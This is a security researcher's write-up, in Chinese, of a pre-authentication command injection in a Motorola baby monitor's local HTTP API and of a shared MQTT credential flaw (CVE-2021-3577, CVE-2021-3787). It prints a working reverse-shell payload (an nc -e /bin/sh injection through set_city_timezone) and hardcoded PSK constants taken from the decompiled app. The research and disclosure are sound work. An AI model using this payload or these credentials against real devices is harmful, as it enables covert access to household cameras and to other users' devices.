摩托羅拉嬰兒監視器存在遠程代碼執行漏洞
對于要有孩子的家庭來說，有一個嬰兒監視器是比較好的選擇。嬰兒監視器類型包括 Wi-Fi、移動app和云平臺等。我們決定使用Motorola-Crib-Baby-Monitor-Soother-Camera，使用之前我想仔細研究一下這款設備的安全性。
我開始深入研究該設備，在一段時間后我發現了一個預認證 RCE 并在此后不久獲取了一個完整的 root shell。
0x01 端口掃描
將Motorola-Crib-Baby-Monitor-Soother-Camera連接到 Wi-Fi 上，嘗試進行服務和端口掃描確定開放端口。
這些端口為我尋找潛在的 API 通信提供了一個良好的開端。我在瀏覽器中訪問了每一個，希望其中一個可以提供 Web 界面。這三個確都是 Web 服務器，盡管每個服務器的響應略有不同：
?8080
– 404 未找到頁面
?9090
– 顯示“不支持的命令”的響應正文
?80
- 空白
無法讓80端口做出響應，通過 cURL 請求看看返回信息：
user@ubuntu:~$ curl http://192.168.5.244 -v
* Rebuilt URL to: http://192.168.5.244/
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 204 No content
< Content-Length: 0
< Content-Type: text/plain
< Connection: Keep-Alive
<
* Connection #0 to host 192.168.5.244 left intact
我嘗試使用各種參數的請求，但都獲取不到有效返回信息。
0x02 App逆向
接下來，我決定安裝 Android 應用app并開始逆向，希望了解app如何與設備進行通信。嬰兒監視器可以通過Hubble Connected for Motorola Monitors進行管理，這是設置后的樣子：
除了Motorola-Crib-Baby-Monitor-Soother-Camera 指令外，設備還收集了很多數據并在應用程序中顯示。在這里你可以看到它顯示室溫，以及其他監視器功能的狀態，如夜燈和投影。
我的下一步思路是代理應用程序中的 API 請求。快速瀏覽應用程序的詳細信息后logcat輸出了一些信息。
API 請求很容易從日志中獲取，注意到很多這樣的請求與Hubble cloud服務交互，我更感興趣的是應用程序是否直接通過 LAN 在訪問設備。
接下來，我搜索了HTTP 通信的日志，并測試該應用程序的更多功能。在應用程序中更改了一些設備設置后，終于確定了向本地 API 發出的一些請求：
這正是我在尋找的，讓我們嘗試一個栗子：
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_wifi_strength HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 21
< Content-Type: text/plain
< Connection: Keep-Alive
<
* Connection #0 to host 192.168.5.244 left intact
get_wifi_strength: 75
一個普通的HTTP 請求返回了一個以冒號分隔的響應數據包。
附加命令：
借助一些本地 API 請求示例，我反編譯了 Android 應用程序并開始搜索對它們的引用，目標是找到代碼庫中使用的命令列表。我比較關心一個定義了配置常量列表的特定類ConfigConstants，包括可能的 GET 和 SET 命令，以及設置 Wi-Fi 的 PSK。
/*
* Decompiled with CFR 0_121.
*/
package com.hubble.framework.common;
public class ConfigConstants {
public static final String AUTH_KEY_IS_NULL = "auth_key_is_null";
public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\"";
public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724";
public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\"";
public static final String GLOBAL_PORT = ":80";
public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable";
public static final String TRANSFER_PROTOCOL = "http://";
public class Camera {
public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value=";
public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup=";
public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address";
public static final String GET_UDID_COMMAND = "action=command&command=get_udid";
public static final String GET_VERSION = "action=command&command=get_version";
public static final String HTTP_URI_SEPARATOR = "/?";
public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential";
public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name";
public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd";
public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system";
public static final String SETUP_FW_VERSION = "00.00.00";
public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb";
public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888";
public static final String SETUP_TLS_DEFAULT_PORT = "4434";
public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info";
public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s";
public static final String SET_CITY_TIMEZONE = "set_city_timezone";
public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s";
public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s";
public static final String SET_DATE_TIME_COMMAND = "set_date_time";
public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state";
public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list";
}
}
我手動嘗試ConfigConstants類中列出的命令，比如get_rt_list：
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_rt_list HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 1096
< Content-Type: text/xml
<
8***REMOVED***WPA272-8801* Connection #0 to host 192.168.5.244 left intact
上面的命令返回了Motorola-Crib-Baby-Monitor-Soother-Camera可用的 Wi-Fi 網絡列表。由于列出的大多數命令似乎都適用于我的設備，因此我知道我找對地方了，因此將注意力轉移到了 SET 命令上。“value”參數特別令人感興趣，因為它們會接受用戶控制的輸入，如果不正確輸入就可能會導致 RCE。
0x03 遠程代碼執行漏洞
最終執行 set_city_timezone，執行重啟命令，設備立即重啟了，執行get_version操作/?action=command&command=get_version
設備已經拒絕連接。
構建反彈shell：
http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)
注意要使用 $ { IFS } 空格的 shell 變量，因為網絡服務器將處理 %20 的編碼值。
下面是root shell ：
0x04 MQTT憑證漏洞
通過對設備的shell訪問，我現在能夠更深入地挖掘并檢查其他在黑盒條件下的攻擊媒介，我想談談我發現的最關鍵的問題。
MQTT：
正如我上面所討論的，大部分云集成是通過 Hubble API 實現的。集成的一個組件是基于 MQTT 構建的——就像在許多物聯網設備架構中一樣，它用于處理設備、移動應用程序客戶端和 Hubble基礎設施之間基于事件的發布/訂閱交互。
例如，移動應用程序通過 Hubble API 中的 API 層與 MQTT 交互：
{
"status": 202,
"message": "success",
"data": {
"id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2",
"created_at": "2021-05-12T17:44:08Z",
"updated_at": "2021-05-12T17:44:08Z",
"job_type": "publish_command",
"status": 202,
"state": "SUCCESSFUL",
"input": {
"packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}",
"device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7"
},
"output": {
"reason": "mqtt published",
"PublishResponse": "mqtt published",
"DeviceResponseMessage": null,
"DeviceResponseStatus": null,
"PublishStatus": 202
},
"priority": "high",
"last_executed_time": "2021-05-12T17:44:08Z",
"execution_count": 1
}
}
為了更好地理解 MQTT 實現的工作原理，我想連接一個客戶端來觀察傳輸中的消息。在查看設備上的一些日志后，我找到了 MQTT 服務器的主機名，以及所有 TLS 證書和連接密鑰：
pwd
/mnt/config/hubble_config
ls -hal
drwxr-x--- 2 root root 720 May 30 14:55 .
drwxr-xr-x 4 root root 1.0K Dec 31 1969 ..
-rw-r--r-- 1 root root 286 May 30 13:55 bootup_info
-rw-r--r-- 1 root root 1.4K Dec 9 13:52 ca.crt
-rw-r--r-- 1 root root 1.1K Dec 9 13:52 client.crt
-rw-r--r-- 1 root root 1.6K Dec 9 13:52 client.key
-rw-r----- 1 root root 0 Apr 1 23:37 dummy
-rw-r----- 1 root root 0 Apr 1 23:37 smartconfig
-rw-r--r-- 1 root root 5.2K May 30 14:55 user.conf
-rw-r--r-- 1 root root 3.7K May 30 13:55 user1.conf
我打開了MQTT Explorer并配置了與設備證書的連接。我成功連接并馬上看到了來自 Hubble Cloud中越來越多的其他設備的消息，我意識到客戶端被配置為默認訂閱 # 和 $SYS/#。很明顯，這意味著要么是在所有Hubble 設備之間共享憑據，要么在 MQTT 中未強制執行設備之間的訪問控制。
如果仔細觀察，你可以看到來自各種設備的許多命令結果。雖然我沒有嘗試這樣做，但我認為客戶端很可能可以通過發布任意命令輕松控制整個設備群。
RCE漏洞的CVE編號是CVE-2021-3577，MQTT憑證問題的CVE編號是CVE-2021-3787。
